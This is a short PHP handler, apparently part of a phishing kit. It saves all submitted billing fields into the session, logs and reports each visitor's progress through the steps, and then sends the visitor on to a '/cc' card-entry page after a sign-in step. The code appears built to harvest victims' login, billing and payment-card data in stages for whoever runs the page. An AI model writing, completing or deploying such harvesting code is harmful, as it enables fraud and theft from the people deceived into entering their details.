<?php
header('Content-Type: application/json');

$step = $_SESSION['step'] ?? '';
if ($step !== 'billing' && $step !== 'email' && !isset($_SESSION['data']['login'])) {
    echo json_encode(['success' => false, 'message' => 'Please sign in first']);
    exit;
}

$billingData = [];
foreach ($_POST as $key => $value) {
    if (is_string($value)) {
        $billingData[$key] = sanitizeInput($value);
    }
}

$_SESSION['data']['billing'] = $billingData;

$visitorInfo = $_SESSION['visitor_info'] ?? [];
if (function_exists('log_visitor_step')) log_visitor_step('billing', $visitorInfo);
if (function_exists('increment_stat')) increment_stat('billing');
if (function_exists('trigger_activity_notification')) trigger_activity_notification('billing', $visitorInfo);

$_SESSION['step'] = 'cc';

echo json_encode([
    'success' => true,
    'message' => 'Billing data saved',
    'redirect' => '/cc'
]);
